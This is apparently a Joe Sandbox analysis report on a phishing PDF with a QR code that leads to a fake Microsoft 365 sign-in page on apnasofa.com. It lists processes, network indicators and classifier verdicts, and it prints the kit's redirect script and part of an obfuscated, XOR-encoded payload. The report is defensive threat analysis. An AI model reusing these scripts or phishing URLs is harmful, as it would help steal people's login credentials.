Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443

Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.winPDF@30/53@21/9

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-02 11-55-06-359.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Employee_Important_Message.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,3436419427165153113,17725779986340987366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.sn/url?q=lheard@wc.com&wc.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#bGhlYXJkQHdjLmNvbQ==
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1960,i,2475792775790874993,11739866391639367341,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,3436419427165153113,17725779986340987366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1960,i,2475792775790874993,11739866391639367341,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Employee_Important_Message.pdf	Initial sample: PDF keyword /JS count = 0
Source: Employee_Important_Message.pdf	Initial sample: PDF keyword /JavaScript count = 0
Source: A9xjsqnr_k2x77n_1c4.tmp.0.dr	Initial sample: PDF keyword /JS count = 0
Source: A9xjsqnr_k2x77n_1c4.tmp.0.dr	Initial sample: PDF keyword /JavaScript count = 0

Source: Employee_Important_Message.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://apnasofa.com/episode/index#	100%	Avira URL Cloud	malware
https://apnasofa.com/episode/script.js	100%	Avira URL Cloud	malware
https://i--iy.s3.us-east-1.amazonaws.com/vocabulary.html	0%	Avira URL Cloud	safe
https://apnasofa.com/episode/style.css	100%	Avira URL Cloud	malware
https://apnasofa.com/episode/image/logo.png	100%	Avira URL Cloud	malware
https://apnasofa.com/episode/index	100%	Avira URL Cloud	malware
https://apnasofa.com/favicon.ico	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ipwhois.app	103.126.138.87	true	false	high
www.google.sn	172.217.19.227	true	false	high
www.google.com	142.250.181.100	true	false	high
api.ipify.org	104.26.12.205	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.208.99	true	false	high
apnasofa.com	103.160.107.138	true	false	high
s3-r-w.us-east-1.amazonaws.com	52.217.199.10	true	false	high
i--iy.s3.us-east-1.amazonaws.com	unknown	unknown	false	unknown
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://apnasofa.com/favicon.ico	false	Avira URL Cloud: malware	unknown
https://www.google.sn/url?q=lheard@wc.com&wc.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html	false		high
https://www.google.sn/amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html	false		high
https://apnasofa.com/episode/script.js	false	Avira URL Cloud: malware	unknown
https://i--iy.s3.us-east-1.amazonaws.com/vocabulary.html	false	Avira URL Cloud: safe	unknown
https://ipwhois.app/json/8.46.123.228	false		high
https://apnasofa.com/episode/image/logo.png	false	Avira URL Cloud: malware	unknown
https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ==	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://apnasofa.com/episode/style.css	false	Avira URL Cloud: malware	unknown
https://api.ipify.org/?format=json	false		high
https://apnasofa.com/episode/index	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false		high
https://apnasofa.com/episode/index#	chromecache_162.5.dr	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.227	www.google.sn	United States	15169	GOOGLEUS	false
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
103.160.107.138	apnasofa.com	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.217.199.10	s3-r-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
104.26.13.205	unknown	United States	13335	CLOUDFLARENETUS	false
103.126.138.87	ipwhois.app	United States	40676	AS40676US	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566807
Start date and time:	2024-12-02 17:54:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Employee_Important_Message.pdf
Detection:	MAL
Classification:	mal64.phis.winPDF@30/53@21/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.32.184.135, 216.58.208.227, 172.217.17.46, 74.125.205.84, 2.19.126.149, 2.19.126.143, 172.64.41.3, 162.159.61.3, 52.22.41.97, 3.233.129.217, 52.6.155.20, 3.219.243.226, 34.104.35.123, 23.195.39.65, 84.201.208.99, 2.20.40.170, 192.229.221.95, 172.217.19.202, 172.217.17.42, 142.250.181.106, 172.217.19.234, 142.250.181.74, 142.250.181.42, 172.217.17.74, 172.217.21.42, 172.217.17.67, 172.217.17.78
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Employee_Important_Message.pdf

Simulations

Behavior and APIs

Time	Type	Description
11:55:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

QR Codes

Source	URL
Screenshot	https://www.google.sn/url?q=lheard@wc.com&wc.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#bGhlYXJkQHdjLmNvbQ==
Screenshot	https://www.google.sn/url?q=lheard@wc.com&wc.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#bGhlYXJkQHdjLmNvbQ==

LLM Input / Output

Input	Output
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Important: Employee Action Required", "prominent_button_name": "Scan Here:", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": false }

URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Williams & Connolly LLP" ] }
	{ "brands": [ "Williams & Connolly LLP" ] }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "Script performs URL redirection (+2) to a non-standard domain with parameter passing (+2). The use of URL hash manipulation (+1) could be used for legitimate purposes but also commonly appears in redirect chains for phishing. Domain 'apnasofa.com' is not a widely recognized trusted domain, warranting caution." }
// Get the encoded email parameter from the URL hash var emailEncoded = window.location.hash.substring(1); // Remove the first character '#' // Redirect to the specified URL with the encoded email parameter window.location.href = "https://apnasofa.com/episode/index#" + emailEncoded;
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High-risk script detected: Uses atob() for obfuscation (+3), contains a large encoded payload (+3), includes a hardcoded 'secretkey' which might be used for malicious decryption (+1), and the length/complexity of encoded data suggests potential malware payload (+1). The obfuscation technique is commonly used to hide malicious code." }
var key = "secretkey"; var script = atob("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
URL: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ== Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We need to verify it's you", "prominent_button_name": "Verify", "text_input_field_labels": [ "l2nqr7@gcjr.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://apnasofa.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://apnasofa.com
URL: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ== Model: Joe Sandbox AI	{ "brands": [ "Microsoft 365" ] }
	{ "brands": [ "Microsoft 365" ] }
URL: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ== Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We need to verify it's you", "prominent_button_name": "Verify", "text_input_field_labels": [ "l2nqr7@gcjr.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ== Model: Joe Sandbox AI	{ "brands": [ "Microsoft 365" ] }
	{ "brands": [ "Microsoft 365" ] }
URL: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ== Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft 365' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'apnasofa.com' does not match the legitimate domain for Microsoft 365.", "The domain 'apnasofa.com' does not have any apparent connection to Microsoft or its services.", "The presence of a generic or unrelated domain name is a common indicator of phishing.", "The input field email 'l2nqr7@gcjr.com' does not provide any additional context to suggest legitimacy." ], "riskscore": 9} Google indexed: True
URL: apnasofa.com Brands: Microsoft 365 Input Fields: l2nqr7@gcjr.com
URL: https://apnasofa.com/episode/index#bGhlYXJkQHdjLmNvbQ== Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft 365' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'apnasofa.com' does not match the legitimate domain for Microsoft 365.", "The domain 'apnasofa.com' does not have any apparent connection to Microsoft or its services.", "The presence of a generic email input field suggests a potential phishing attempt to collect user credentials." ], "riskscore": 9} Google indexed: True
URL: apnasofa.com Brands: Microsoft 365 Input Fields: l2nqr7@gcjr.com

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
